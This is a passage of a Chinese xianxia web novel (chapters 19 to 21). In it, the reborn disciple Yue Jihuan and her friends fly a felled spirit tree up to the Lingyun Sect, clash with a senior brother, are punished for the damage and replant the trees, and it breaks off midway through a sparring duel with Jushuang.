夜色渐浓,几人都累了一天,此刻困得眼睛都睁不开,岳寄欢撑着眼皮,指了指几人面前的碧落木:“好,不闹了,那你们便快些上去吧。”
湛风遥一时困神,带着湛江离颤颤巍巍往上踩,抖如糠筛,险些踩空这根低低悬在地上的碧落木。
燕须霁也踩着树尾的位置晃悠个不停,脸色发白。
岳寄欢深吸一口气:“连木头都踩不上,以后如何御剑?”
燕须霁抹了把头上的汗,死要面子:“人剑合一,自然不会有分离之感,这树被你削的这么细,我又困,很难不抖。”
拒霜很贴心:“那别站着了,坐着吧,就是难看点。”
燕须霁:“我们可是有五个人,不够坐。”
岳寄欢气笑了:“你们三个坐,我和她踏着树枝上去。”她指了指另外两根悬着的细枝,“怎的脑子笨,眼睛也不好使。”
她低低咕哝了一句:“放脸上和装饰似的,同那...一样。”
没人听清楚岳寄欢这声低语,拒霜耳尖一动,微微眯着眼又打起哈欠:“别磨蹭了,要走就走,上去之后别乱动,这勉强算得是个简单的飞行法器。”
闻言,那三人也不再犹豫。湛风遥和湛江离为保安全跨坐着,燕须霁难得有了点贵气在身的自觉,撑着手斜斜坐在树干上,倒也算坐的稳。
见此,岳寄欢双手结印,指尖翻飞,轻吟道:“根脉为剑,御树而行,碧落木,起!”
话落,印已结成,碧落木爆开一阵小范围的灵气光亮,而后载着三人直冲云霄而去,高悬于天阶之上,如游龙螣蛇。
碧落木已经远去,岳寄欢抬头望着化在黑夜中的星点:“行了拒霜,不和你闹了,我们走吧。”
“行,暂且不闹了。”拒霜拖着调子,随即轻巧地跃上花茂莹亮的树枝,懒声说:“不过得快些,落在他三人身后了。”
岳寄欢足尖一点,凌空踏上枝头,未等拒霜说完便踏枝而去,声音如风混杂在繁星黑夜里:“我可不会落在任何人身后。”
“同你一样。”拒霜蓦地腾空而起,话语如霜雪消散,即刻化为一盏光点落进月夜,呼啸风中。
天阶之上,长夜之下。
二人一前一后,很快越过坐着碧落木的三人,消失在黑漆夜幕里。
踏枝风中,偶尔能听见燕须霁畅然的笑声,俯身是天阶上众人的抱怨,抬头就看见辰星点点。
前方是凌云宗各处在子夜时分依旧错落亮着的耀眼光芒,兰意阵阵的太清殿,开满花的仙游峰,传来酒香的绿竹林——
里面有睡得不甚安稳的玄意,在藏书阁翻阅书籍的天饶,站在窗前沉思的简林,给仙游峰花草半夜浇水的宋折镜,小口喝粥的单若水,陪高弄舒和杜一帜在竹林喝得酩酊大醉的柳扶荔...
岳寄欢几乎要融化在长风里,此刻,她终于有了重生的实感。
天光弥漫的新生,一切都明亮,一切都炽热。
19. 挑衅
高弄舒和杜一帜是被柳扶荔同宋折镜架回太清殿的。
陪二人喝酒的柳扶荔喝得尚少,他酒量又不错,除了脖颈泛起至脸颊那点淡淡的绯红之外,全然看不出醉意。
宋折镜则是大半夜被柳扶荔使了传讯符叫过去拉高杜这两个醉鬼回殿。
宋折镜架着杜一帜的肩膀歪歪扭扭地朝太清殿走:“他二人同简师弟今日不是守得含天镜,怎的还出来喝酒,简师弟一个人看着?”
柳扶荔没好气地抬腿踢了如摊烂泥般倒在自己肩上的高弄舒一脚:“简林早就回去了,只留他二人守着,没想到竟跑来找我喝酒,两杯倒喝完了才说今日负责看守含天镜,让送他们回殿。”
宋折镜瞥了眼被柳扶荔踢地嗷嗷直叫的高弄舒,难得为两个醉鬼辩白:“不过看守含天镜本就熬人,无非就是看着新弟子往上爬罢了,年年都如此,不守着一会倒也无妨,这番折磨的事情,他二人这般性子耐得住才怪。”
四人歪歪扭扭东倒西歪地朝着太清殿走去,幸得绿竹林同这殿离得不算远,走回去倒也无需花费太多时间,不过半炷香。
天清殿口就在面前,凌云宗上空繁星月夜,夜幕无云,这两日天气好,亦如风的袭来的恰到好处,清风拂面,将两个醉鬼的酒都吹醒了几分。
春和景明,莹月当空。
又逢新弟子进门,真是难得的好日子。
“砰——”
如果不是听见身后一声巨响,柳扶荔和宋折镜大概还会借着这样令人舒心的景象乐意替这两个醉鬼守守今晚的含天镜。
他四人正踏上太清殿口的长阶几步,身后的平地上却猛然炸开一小段深厚的灵力,四周漾起一层短短的尘幕,重物落地的响声伴随着最中心一道“哎呦!”连同低低的痛吟,这阵在夜晚里闹得不小的动静惊得宋折镜下意识唤出一把剑,手里的两个醉鬼都吓得一哆嗦,纷纷扭头瞧向身后。
蒙雾散开,太清殿殿口这块巨大的平地中间躺着一根被削得整齐利落的碧落木,旁边倒了约莫三个人左右,年纪尚小一些的少年哼哼唧唧撑着树爬起来,另外两个好像是一男一女,相互搀着站稳身形。
这阵尘雾里,还虚虚幻幻站着两道身影。
这两道身影看上去身形相对偏小,看着像是十三四岁少女的身形,虽说是一道上来的,姿态却远比旁边倒成一团的狼狈众人优雅放松得多,身形亭立,如两棵小松傲然云雾之中。
柳扶荔远远注视着那道在尘气中愈发清晰的身影,微不可察地扬了扬唇角,又去瞧宋折镜手里的剑。
宋折镜眸子闪了闪,人暂且不说,最中间那棵闪着莹亮的光秃树干他瞧得很清楚:“他们把天阶口的碧落木砍了?”
他顺手将剑又收起。
“也许吧。”柳扶荔声音没什么情绪,揪着高弄舒衣领防止他往下滑,“不过这几位怕是要遭殃了。”
宋折镜瞥他一眼,心言遭殃的可是今夜看守含天镜的三人,同面前这些把灵树砍成稀碎的胆大包天新弟子,何止几位。
不过他一时瞧着那道愈发清晰的紫衣身影很熟悉,心中升起些不好的预感。
不出所料,遥遥站在太清殿口整理好的几人很快就发现站在阶上的他四人,紫衣少女漠然地望着他,年纪尚小的那位少年最先出声,双手比成喇叭:“宋师兄!”
宋折镜远远朝他颔首。
“走吧,上了天阶来的新弟子可是要负责守在太清殿的人给安排的。”柳扶荔嘴角噙着笑,一把将手里的高弄舒攘下不算高的石阶,“你接着睡吧,毕竟明天去了无须涯可就不能睡得如此香了。”
他话落,慢慢悠悠跟在滚成一团的高弄舒身后,一步一步下了台阶。
高弄舒三两下滚下台阶,晕头转向地站起身,口齿不清:“扶、柳、柳扶荔你发什么疯。”
他强撑着眼皮,昂首挺胸,想要看清面前推他的柳扶荔。
不巧,喝得太醉,他面错了方向,一眼就瞧见面前被削得只剩杆的碧落木。
高弄舒:“......”我发疯了?
这醉鬼一下就惊醒了。
他面上少有地露出些惊恐之色,望着面前一脸淡然的几位新弟子半天说不出话,又只得偏头去瞧身后脸色好笑的宋柳两位,最后望着还醉成一摊倒在宋折镜身上的杜一帜。
他一把扯着这醉鬼的耳朵就往碧落木前走,杜一帜被他拽得耳朵疼直叫唤,刚刚被碧落木落地的声响砸醒了好几分的醉意彻底消散。
“你喝醉了发什么酒疯?”杜一帜皱着眼睛,哇哇叫唤。
高弄舒面如死灰:“你自己瞧瞧这是什么。”
于是杜一帜一睁眼,映入眼帘的就是光秃无比的碧落木。
他扭头就走,动作一气呵成:“我瞧不见。”
高弄舒拽着他的袖子不松手:“都怪你不劝着我要去喝酒。”
杜一帜见他这副赖皮模样,和他互相甩锅:“难道不是你要叫着我去喝?”
两人间你推我攮,站在一旁的岳寄欢几人却没什么兴趣瞧他二人瞎闹,只得走到站在一边的宋柳二人面前,乖乖喊了声:“师兄好。”
宋折镜蹙着眉,望着面前这几位:“你们把碧落木砍来御树?”
他这话虽是对着众人说的,眼神却是扫着岳寄欢和拒霜两人,最后,干脆直接定格在岳寄欢身上。
不知道为何,他就觉得这事情是岳寄欢这姑娘闹出来的。
岳寄欢不会忽略对方这阵落在自己身上的目光,带着显然的兴师问罪,眸中责怪意味愈盛。
她抛弃了心中那点心平气和。
虽然这木头的的确确是她砍的,树也是她要御的,宋折镜问的这话完全合理,她也可以正常的回应对方认个错。
但她忽然想想对方前世今生干的一堆破事,现在又如此瞧她,心里头无名火直冒,想和宋折镜对着干的怨怼忽而升起:“想问是不是我弄的就直说,这树是我砍的,和他人无关。”
她心知对方这辈子还什么事情都没搅出来,但重逢的喜悦过后,心里头那点狭隘的怒气就是放不下。
已然是忘记了自己的身份,今生她才半只脚踏入凌云宗,对于宋折镜来说,岳寄欢就是个带有重大嫌疑的定时炸弹,勉强算得上是个同门。
感受到面前少女与往日截然不同的态度,宋折镜当然没忘记对方在自己心里还划在妖族细作的分界线上,温文尔雅抛碎一地,莫名和她犟起气来:“岳姑娘今日说话怎的这般冲,莫不是以为进了这宗门便能目中无人起来?”
岳寄欢听着他道“岳姑娘”,冷冷说:“我不过在回师兄话罢了,我瞧着师兄看着我,难不成这话不是问我的?倒是我自作多情了。”
她说罢,微不可察地虚虚瞟了眼站在身旁看戏的柳扶荔。
不同其他人没瞧见她这动作,宋折镜心思细致,自是没错过她这般举动。
而身旁的柳扶荔也是面不改色心不跳,只是眉眼好像弯地愈发盛了些。
宋折镜心头一跳,目光蓦地变动,眼底闪过一丝狐疑,像是不经意地在柳岳二人之间扫过。
除了擦着火气剑拔弩张的师兄妹二人,一旁懒洋洋扶着额的柳扶荔,不远处还在拉扯甩锅的两位醉鬼,其余同岳寄欢一道上来的四人中,拒霜面色平静眉眼稍抬,另外三人眼睛早已四处囫囵着乱瞟,惊讶着岳寄欢居然敢同这位仙游峰宋师兄如此讲话,这宋师兄也全无温润模样,两人间倒像是有什么深仇大恨。
不过好在这阵几乎能杀人的诡异气氛没维持多久,勉强挪开了压在其他人身上的重担。
话已至此,冰冷过后,面前人脸上那阵戾气慢慢缓和消失,而后换上一副温和笑意,语气也软塌塌下来:“抱歉师兄,方才有些困神了,冒犯了师兄,还望师兄原谅我。”
她说罢垂头扬手行了一礼,腰身硬是堪堪低了宋折镜一截,显然一副已经知错,求得师兄原谅的服软模样。
宋折镜还未出声,柳扶荔却是上前一步,伸手将弯着腰的岳寄欢虚虚扶起,目光扫着宋折镜笑:“我们宋师兄今日怎的有闲心逗新来的师妹玩,小孩子心气大,你一个做师兄的莫要逗过了头吓着人家。”
宋折镜也缓过神来,意识到方才自己确实针对得太过明显,倒也顺着柳扶荔这句玩笑话下了台阶:“师妹不必多礼,是
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我气性太大,一时吓着师妹了。”
两人一时间脸上竟都挂着副兄友妹恭的和煦微笑,显然一副师兄师妹沆瀣一气友善和平的模样。
柳扶荔见此点头,继而道:“今日之事无论如何都明日再议,大家累了一天了,我便先领你们去歇息吧。”
几人乖乖应下:“多谢师兄。”
*
顺着太清殿后一直走,便往着凌云宗最大的广场深入,一路往绿竹林的方向去,竹林小道清幽,宁静冷寂。燕须霁显然很兴奋,那点困倦被刚才殿口争执一事打消得一干二净:“师兄,我们要去哪里休息啊?”
宋折镜走在最前头:“顺着竹林一路往上就是新弟子暂歇的清岚院,送你们去了自会有人安排,往年新弟子少需也要三日才上得来,你们倒是快,两个时辰都没用到。”
他这话说的淡然,却又像在指他几人是用了御树这个法子上来的。
燕须霁在这种时候难得直白地把他这阵柔话打回去,傻愣愣道:“当然了,我们御树上来的当然快,听着高师兄说,宗门新弟子最快爬石阶记录也是两个时辰都没到。”
宋折镜听他如此直白,一时间倒也不知再说些什么。
柳扶荔接了话:“是,是两个时辰不到,很多年前了,不过你们之间相差应当不多。”他侧头笑笑,“是今夜守着含天镜的两位师兄糊涂,你们具体是多久上来的,估计再不会知晓了。”
他一偏头,侧脸恰恰勾勒上一道如水的月光。
燕须霁聊上了头,瞧着面前这位貌美眼生的师兄非常自来熟:“这位师兄,我怎的从未见过你,敢问是哪位师兄?”
柳扶荔背对着身后几人,散漫道:“叫我柳师兄便好,同你们宋师兄是同门。”
同门。
想来定是同承师门的同门,而不是他们口中所言的宗门内一家弟子。
柳扶荔这话说的无心,燕须霁同湛家兄妹倒是很一致地瞥了一眼岳寄欢和拒霜。
扶摇殿中拜入师门一事闹得天场众人皆知无人不晓,都以为这两位异行灵根会闹得水火不容。湛家兄妹一开始瞧见这二人站在一起都险些以为自己眼花,不过细细看来岳霜她两人虽存着竞争关系,但也没传闻中那么闹得不可开交,甚至还有几分朋友的熟稔。
到了现在,眼前就站着两位岳寄欢同拒霜日日揪着要去的仙游峰玄意门下师兄弟,众人意识到这一点,一时间心思各异,眼神乱窜,按捺不住心中那点好奇。
两位当事人倒是没什么太大的反应。
岳寄欢同拒霜站在几人间最末尾,反倒还落了前面几人一段距离,竹影摇晃,月光如水,林间偶尔传来些风过之声,二人并肩缓步走在后面,划着月影而过。
拒霜稍微侧着点头,轻声道:“你同那位宋师兄存有罅隙?”
岳寄欢指尖逗弄着周遭的竹叶:“罅隙?怎么会有,不过才见的第一面罢了。”
“第一面?”拒霜眼眸带笑,“扶摇殿前,你不是同一位穿鹅黄衣裙的姑娘一道站在他几人面前?”
岳寄欢忽地顿住脚步,侧身睨着拒霜:“你今日怎的如此爱挑衅?”
拒霜也停下脚步,不再往前走:“谈不上挑衅,我日日都这样。”
岳寄欢笑:“不过说回来那又怎的了?我事事都需与你实话实说?不过认识两天而已。”
拒霜抱着臂:“自然是不用的。”她牵起唇角,“不过你要是愿意的话,今日之后,我倒也不介意听听你的实话。”
两人站定在原地,掩在葱葱绿意下,全然没注意不远处已经走出一段距离的众人已然停下,纷纷转身瞧着她二人,一时间竟也无人出声。
竹林下,岳寄欢掀起眼皮:“实话什么的,我又知你几分?况且那时我怎的没瞧见你,倒是你那时就窥视——”
她道:“不,换个好听些的词,注意到我了?或许是我们一行人站在那边,太过招摇。”
拒霜指尖勾上发尖,歪歪头:“别说的太难听,也别这么猜。”
她一耸肩,摊手笑笑:“就算是你一个人——啧,注意到你是一件理所应当的事情,你懂吗,嗯?”
20. 玄意
“拒霜!”
“寄欢姐姐!”
两道声音一前一后响起,一道是声音清朗的燕须霁的,一道则是一直藏在湛风遥身后的湛江离的。
岳寄欢恍恍神,难得瞧了眼朝她出声的小姑娘。不远处,宋折镜身姿挺拔,淡然地瞧着她二人,柳扶荔缓慢地眨眨眼,眉目间隐上几分担忧,燕须霁冲她们招手,湛风遥和湛江离相互拉着,江离遥遥喊着,苍白虚弱的声音少有地添上点俏皮。
“来了。”岳寄欢应着,眼波微动,“罢了,有什么事情之后再说吧,眼下忙得很,明天要去受罚,接着是比试,拜入师门。”
她叹息一声,垂着眼:“既然都没藏着什么肮脏手段与心思,你我之间何必闹得太难看。”
拒霜掠着不远处的众人,低声道:“手段?我拒霜瞧不上那些手段,自然也不会使。”
“当然了,信任是互相的,我也信得你不会用些难看的手段,其余对你不过好奇而已,何谈闹得难看一说,你不也是吗?”她起身抬脚而去,声音弱得听不清,但并不退虚,“走吧,他们还在等着我们,天快亮了。”
*
清岚院算得是个幽静的好地方。
卯时三刻,岳寄欢便醒了。
凌云宗的天边泛起鱼肚白,今日天气同样的好,日光微微露出,直直打进窗里。
拒霜打着哈欠,懒懒翻了个身,搂着湛江离:“不过一个时辰,你怎的就醒了?”
岳寄欢望着窗外,神情冷淡:“睡不着。”
昨夜他们一行人到了清岚院门口,不料这几日恰好碰上宗门内学院考核,弟子间都在忙着准备,想着这两日新弟子一时间也上不来这凌云宗,一时间竟没人守在这清岚院里,院中寂静得只剩鸟鸣,简直能算得上荒无人烟,一片死寂。
柳扶荔窜着这清岚院里绕了几圈,最后只堪堪找到两间歇息的空房,面色难看:“我瞧着这执事堂的人莫不是死绝了。”
宋折镜倒是没什么太大反应:“毕竟连着许多年新弟子都需几日后才能来着清岚院歇息,今日才第一天,又撞上考核,执事堂的弟子没来得及收拾正常得很。”
于是岳寄欢五人只能堪堪分了这两间屋子,燕须霁同湛风遥一间,其余三个女孩儿一间。
湛风遥还有些担心离开自己的湛江离,但跟着岳寄欢和拒霜的湛江离倒是意外适应得好,啪嗒啪嗒地就跟着二人去了,这房间不算大,只有一张床和两条薄棉被,但好在这床铺铺得很开,甚至给岳寄欢一种睡大通铺的感觉。
前世今生,她睡眠一直很浅,躺着小憩了一个时辰左右便彻底清醒,身旁的湛江离和拒霜倒是睡得很沉。
虽已进入春日,但夜晚的天还不算得特别暖和,她三人又只刨出两条被子,也只能勉强遮着点冷意,挨得挤挤囔囔。
见湛江离和拒霜还是一副困倦的睡意,岳寄欢也没惊醒她二人,只是掀了被子往外走,又替她二人掖好被角。
清岚院小道这一路上都安静得紧,远离凌云宗正中广场,人少动静少,岳寄欢想来湛风遥和燕须霁怕是也还睡着,院中四下无人,她缓步往绿竹林去。
凌云宗其实有很多片绿竹林,像柳扶荔他们喝酒的那片挨近仙游峰,至于清岚院这片是最大也最绕的,新弟子和外客的居所大都离凌云宗其他地方远,这个点更是没什么人。
沿着竹林一道一路往深处走,愈发走得深,眼前愈发绿郁。
岳寄欢停在一小片稍微泛着枯黄色的竹子前。
茂竹深处,隐约站着一道橘红色的身影。
见到来人,那身影向外探了探,随即小声地用气音喊道:“师妹。”
岳寄欢拨开竹子走了进去。
柳扶荔一脸困倦,倚着竹子懒散道:“怎么不多睡会?不过一个时辰而已。”
“约好这个时辰,总不能失信。”岳寄欢望着对方眼下一点鸦青:“况且我睡不着,你不也没睡?”
“怎么和师兄说话呢。”柳扶荔佯装恼气,见岳寄欢不为所动,又讪讪道:“你昨天怎的和他闹起来,他这两日疯得很,尤其是一提起你就面色不虞,也不知是和谢忧那小子撺掇些什么。”
岳寄欢冷着面容,浑身都散着一股与年龄不甚相符的气息,几乎是咬牙切齿:“狼狈为奸。”
时间一霎暂停,竹林发出风吹的沙沙声。
“罢了,我心知他如今什么都不知晓。”岳寄欢终究是叹道,“说真的,我今生又瞧见他时,喜悦得不行。”
柳扶荔静静听着,眼中困倦消磨了几分。
岳寄欢指尖点着身侧的竹身:“开心过后,很难对他不产生点恨,连带着对心棠。”
竹子随着她的轻轻敲击,响出空空亮亮的低声。
“你大概不懂。”她悲戚地说,脸上镀着的冷淡之色一点点破碎,“我不是什么重来一次就能藏住所有情绪,假装什么都没发生过的人,我压根做不到。”
声音低落,像只被风雪压弯的绿竹。
瞧着她情绪不高,柳扶荔逗她笑:“没人能,不然我们现在就不会站在这里了。”
见岳寄欢面色稍有缓和,柳扶荔快速转移了话题:“罢了,往后再说,眼下要解决的事情很多。”
他顿了顿,打趣道:“比如你和那位拒霜师妹之间那点弯绕,比如待会儿你们就得去太清殿领罚,怎么才入宗门就闹出这么大的事情,师妹,你以前有这么闹腾吗?”
那抹痛苦的神色被掩下,岳寄欢又恢复一贯的表情,抬头微笑道:“师兄,你从前可少在宗门,比起我,你怕是更了解怎么推牌九。”
柳扶荔丝毫不恼,只是笑嘻嘻:“五日之后拜师大典,晚上带你去推牌九玩,这会你同段无瑕感情好,也算多了玩伴,她也来。”
岳寄欢点头:“行,半日不见,倒也还想着无瑕,我还想三师姐。”
她转身拨开竹子,小声道:“师兄,记得喊着她一道来。”
柳扶荔嗯了声,也往这片竹林另一边而去:“去吧,若水定是会来的。”
他走出林子,余光掠了眼不远处的雅屋后,随即离开。
*
辰时刚过,一堆人已经整整齐齐立在太清殿中了。
天清殿上,一道苍老威严的声音响起,众人寻声望去,台上站着位个子不高,白发苍苍的长老,但瞧着精神抖擞,腰背挺直,甚有威严。
“你三人玩忽职守,看守含天镜期间擅自离开太清殿,自去无须涯领罚。”天饶道,“弄舒同一帜更是——”
他拖了调,重重叹了一声:“自去加罚。”
简林站在高弄舒同杜一帜身前,面色平静,他今日一早才听说宗门新弟子花了两个时辰不到便爬上了这天阶——
不,是把门口那棵玄意亲手栽的碧落木砍了御树上来的,异行灵根灵力到底充沛得多,两位加在一起更甚,将门口那堆灵树毁了整整一大片,糟心得很。
天饶已
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经落话,高弄舒和杜一帜鹌鹑一样缩在后面一动不敢动,简林带着二人行了礼往殿外走,路过站在一旁的岳寄欢几人时,他眼神稍作停留,又随即挪开,出了这太清殿。
殿中一时只剩站在殿上的天饶,和站在殿中的岳寄欢五人。
天饶架着手中的长杖,一步一步从台阶下来,站到几人面前。
岳寄欢和拒霜站在几人最前面,猛地一跪行了礼:“长老好。”
虽是问候,但更多的,是道歉认罚的意思。
后面三人赶忙学着她二人的动作。
天饶没说话,只是静静瞧着她几人。
时间一分一秒流过,岳寄欢都等到快发困时,天饶才又缓缓问:“昨夜是谁将天阶口的灵树毁了?”
岳寄欢埋着头,先一步认罚:“是弟子做的,弟子想着这天阶太长太远,又自负灵力充沛,便投机取巧砍了这树,只是不知这树竟是宗门宝树,弟子一时犯错,还望长老处罚。”
她这话倒是一股脑的把错揽在自己身上,却丝毫不提认得这树是宗门宝树碧落木的事情,只当是棵普通树木。
话一落,拒霜也道:“此事也是弟子做的,长老一道处罚我们便好,其他——”
她话未说完,燕须霁和湛风遥也慌慌张张出声:“望长老一同处罚,是我们几人一道砍树御树上来。”
湛江离虚弱的声音也若隐若现地夹杂在其中。
天饶拧着眉,盯着面前这几个胆大包天的新弟子。
“急着认错干什么,不过问你们是谁毁的罢了。”天饶又道:“那些树上都有灵气残留,一问便知,一风一冰两道,想来也只有异行灵根才有这般灵力,那便是你们二人了。”
他低头睨视着跪在面前的几人,淡淡道:“起来吧。”
几人接连站起身,除开岳寄欢和拒霜,却是都低着头。
“未入宗门便能学会用灵力砍树御树,那也是有天分的,脑子不算笨。”天饶望着面前这几人,声音庄肃,他话锋一转,“不过你们毁的那棵碧落木是你们玄意师尊的,处罚一事需等他来定夺,至于其他倒塌的树木倒是平常,你们去栽回来便是,只是以后莫要干这些投机取巧之事。”
闻言,岳寄欢倒是愣神了片刻,目光游移。
她本以为今日是天饶驻守太清殿,责罚必然重,天饶毕竟是个出了名的老古板,又严厉。
岳寄欢上一世最怕这位长老,因此靠着混懒躲课什么的,倒也真没和天饶打过什么交道,如今再见对方,看上去也不是真如传闻中那般刻薄,想来严师出高徒,在正常不过了。
细数往日天饶在心中的形象,倒是使得岳寄欢生出惭愧,想着以后万万不能再道听途说,对他人妄加评价。
天饶刚刚话落,殿外却听得一声如碎冰:“师兄,又在训孩子们呢?”
岳寄欢立马回神,周身一僵。
昨日在天场扶摇殿隔着纱帘未看清玄意,只能依稀看出日光投进殿内勾勒出的淡淡身形,听见点朦胧缥缈的响动。
而现在,岳寄欢终于清清楚楚地听到这声不知过了多久都未再听过的声音。
那是她一天一天掰着手指数过来的日子。
背对着日光,站在太清殿口,清风初阳在玄意身上勾勒出一道金光,温柔又和煦。
身后是柳扶荔与宋折镜。
岳寄欢猛然转头。
她终于对上了那双封存在冰棺已久,长久阖着的透色眼睛。
21. 比试
凌云宗天阶口,站着一群唉声叹气的少年少女。
燕须霁扛着铁锹哀嚎一声:“这得种到什么时候去啊。”
“几个时辰吧。”岳寄欢已经将铁锹扬起又栽进土中,心不在焉地答道:“回去还能赶上晚饭。”
树种随着她的动作一点点在土坑中扶正生长。她低垂脑袋,发丝随之飘扬下落,堪堪遮住侧脸。
隐约能见到唇角牵了点淡淡笑意。
湛风遥正站在岳寄欢对面给灵树苗挖坑。午时日头最盛,劳累间,他抬手抹去额角的汗,眼睛微眯直视前方,却恰好撞上对方那双笑眼。
湛风遥下意识问:“栽种灵树很高兴吗?”
“嗯?”岳寄欢栽完手里最后一棵树苗,漫不经心地敷衍道,“是啊,劳动使我快乐。”
湛风遥:“......”
几人手脚动作很快,除了身体虚弱无比的湛江离被几人安置在一旁的树荫下歇息,其他人都有一搭没一搭的将昨夜他们毁尽的那片灵树清理又重新种上。岳寄欢和拒霜砍下的那根光秃秃碧落木被玄意收回,只说那便带回仙游峰炼作法器,至于凌云宗天阶口余下的树根,此后她们再去多加浇水输灵,待再次生长就好。
他倒也没生气。
岳寄欢从站在太清殿法阵中传送至天阶口时,心绪便一直怅然若失。
她盯着天边一点点展露的阳光,这种刺眼又灼热的感觉,很熟悉,很熟悉。
思绪飘远,不记得是哪个烈日炎炎的午后了,宋折镜同她带上柳扶荔从人间拿回来的新调料,偷偷摸摸拔走了仙游峰那片最大灵田中一种从未见过的灵草。
那灵草长得一副稀松平常的模样,看着就不像什么珍贵品种。
仙游峰灶房不大,挤挤挨挨地堆着些许蔬菜瓜果和调料,灶上咕嘟咕嘟煮着牛乳甜汤,发出阵阵浓郁的甜香气。宋折镜把衣袖束好,架了另一口锅,将拔来的灵草在一片香气与烟火中炒出一小碟绿油油,看上去馋人又鲜香。
葡萄架下,一片斑驳树影与果香气中,师徒几人坐在一起分菜吃。
玄意闻着菜香,笑眯眯道:“折镜做的菜还是这么香。”
他眸中笑意盛,摊得一副温情模样。
倒是一旁的柳扶荔捏着筷子,几次放到那碟菜上,又虚虚挪开。
岳寄欢眨眨眼,不明所以。她将菜夹了一筷子给玄意,又夹一筷子给单若水道:“师尊和师姐快尝尝,这是大师兄特意炒的,可香了。”
单若水盯着碗里的菜没动:“大师兄,你又带四师妹去灵田了?”
宋折镜一噎:“三师妹,切莫乱说。”
他说这话时明显心虚,岳寄欢同他悄咪咪对视一眼,接着捧着碗猛扒菜吃。
完全漠视对面坐着的三人,单若水与柳扶荔神情诡异,玄意依旧笑,他修长的手指捏着筷子,慢条斯理地夹起一小条被炒熟的灵草,问了句只顾吃饭的宋岳二人:“圆月草好吃吗?”
岳寄欢头也不抬:“大师兄做什么都好——”
她止住了扒菜的动作,缓缓抬头。
琥珀色的浅眸在盛日照射下,显得透彻又茫然。
宋折镜把吃空的碗放下:“圆月草不长这个样子,师尊莫要骗我和小欢。”
玄意:“你读书读傻了?”
宋折镜:“什么?”
柳扶荔哼笑:“这是变种后的圆月草,只有两株,前几日才从迷雾林月洞中带出一株来打算赐给这次飞仙大会的魁首,另一株在人间上京城。你前段日子带着四师妹去了丹荷,所以不知晓,只识得书上记载的模样。”
岳寄欢痛心疾首,反应很快:“大师兄怎能将如此珍贵的灵草拿来炒菜?”
宋折镜:“你不是和我...”
岳寄欢扒拉过去一把捂住宋折镜的嘴。
单若水看热闹不嫌事大:“师尊,四师妹定是被大师兄带坏的。”
玄意夹了一口菜进嘴,没生气,只是悠悠说:“那只能让我们折镜同寄欢再去一趟人间了。”
午时天光下,峰顶是混杂着花果香味与饭食香的吵闹与笑意,山脚是来来往往的弟子与长老,天上穿梭来往的云与剑,地上熙熙攘攘的人。
岳寄欢同宋折镜站在峰顶处,日落背后,回身朝葡萄架下的师徒三人招手大喊:“师尊!扶荔师兄和三师姐!我和大师兄下山去人间找圆月草去啦,三日后回来,一定赶在飞仙大会之前!”
盛日喧哗,她转身和宋折镜迈出凌云宗,一脚踏进人间,走进了如滚江翻涌的人潮里。灯火阑珊,尘世潇潇,她以为自此往后这些就会贯穿她的一生,这些就是她的所有,一辈子太长太长,无须回首。
*
栽完所有树,处理完所有倒塌得乱七八糟的木头枝干已经接近酉时,天色渐暗。
湛风遥同燕须霁靠在一旁尚且完好的树下休息,湛江离缩在一旁打着哈欠,拒霜把一堆沾了泥土的铁锹收拾好堆在一旁,看向思绪游移了大半天的岳寄欢。
“别走神了。”她走过去,从身后拍了拍岳寄欢肩膀,“我瞧着时辰还早,空闲不忙,我们今日比试如何,也免了更多杂事。”
岳寄欢回神,闲闲问:“你不等着明日?我瞧你今日困倦得很,打得动吗?”
拒霜舔了舔唇角:“我比你还多睡了一个时辰,我倒是想问问你打得动吗。”
她虽是在询问,话语中却添满了肯定。
岳寄欢找了棵树靠着,微阖眼皮:“也可以,不过打完晚饭是赶不上了,到时候请膳堂给我们开小灶?”
“很饿吗?”拒霜压住眼底那点微薄的蠢蠢欲动:“打完我亲手给你们做饭,怎么样?”
她瞧起来实在是战意愈浓,不打不罢休的模样。
旁边的燕须霁“嗷”一声:“你们快些,拒霜你莫要食言,我等着你的晚饭。”
一时无话,拒霜只是定定盯着前方的岳寄欢,等待着对方肯定的回答。
风温柔地拂过,吹起几人翻飞的衣袂。
“行。”岳寄欢离开了后背紧贴的树干,缓和着睁清楚眼睛,“那快些吧,我今晚想吃酥酪——”
话音未落,尾调恰巧消散在空气中。拒霜已然抬脚,足尖一勾,地上散落的枯枝如有生命般轻盈的跃进她的掌心,她飞身一旋,枝头直冲岳寄欢面门而来,瞧上去十分有十分的狠辣与决绝。
岳寄欢斜身躲过,侧脸被拒霜手中尖锐的树枝微微划破了一点,滑下一粒粘稠的血珠流过唇边,腥气淡淡。
她没由来的抿唇尝到了这股血味,记忆忽地跳回前些日子在羡水城被伞妖追杀时,那被揉作一团的符咒小球擦过脸颊的痛觉,和现在很相似,几乎是激发出她心底一点难言的杀意。
岳寄欢眼睫微动,她踩着四周几棵粗壮的枝干来回飞旋,伸手将不知道是那棵灵树上的枝干一把折下,恰恰抵住了拒霜猛攻而来的树枝,这树枝在一点点微不可察的月光下更像一柄锐利的剑,刺激得她双眼酸痛无比。
她向后趔趄两步,手腕一转,发力将身前的人抵开转变攻势,猛烈迅然地
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将对方不断往后逼退,两道身影在树影婆娑间几乎要模糊成风。
拒霜被岳寄欢一直往后压退,两人双眼都有些微微泛红,她接连往后急急退了几步,见岳寄欢战意愈盛,只得飞快低喃了几句,掌心握着的树枝蓦地生出一道刺骨冰凉的冰霜,险些激得岳寄欢手腕一抖,手中的树枝差点滚落在地。
不过岳寄欢也没打算再拿树枝作剑。
在拒霜掌心中那股纤脆的冰霜蔓延过来前,她干脆把手里的树枝甩开扔掉,飞身向后跃了几步,抵在身后不远处的树干上,飞快朝着天阶口这片宽阔巨大的灵树丛中跃进,拒霜瞧见,如一条星光直冲冲随之而去。
湛江离在一旁看得懵懂,她紧紧抓住湛风遥衣袖,小声问道:“寄欢姐姐和拒霜姐打得如此凶悍吗?”
湛风遥拍拍她肩膀以表安慰:“毕竟事关拜入师门,打得凶些也正常,没关系的。”
湛江离低低哦了一声,这方天地一时间又安静下来,只剩燕须霁喟叹道:“今夜怕是吃不上她亲手做的晚饭了。”
茂密灵树丛深处,两道身影几乎以肉眼不可企及的速度穿梭林间,也不知时间到底过去了多久,等到两人都再次看清对方的脸时,已经是月上柳梢头。
岳寄欢被拒霜一把扼住喉咙,重重跌在地上。
她后背摩擦着地上的碎石与泥土,下意识往空中躬了一下身子,呈现半蜷缩的状态。
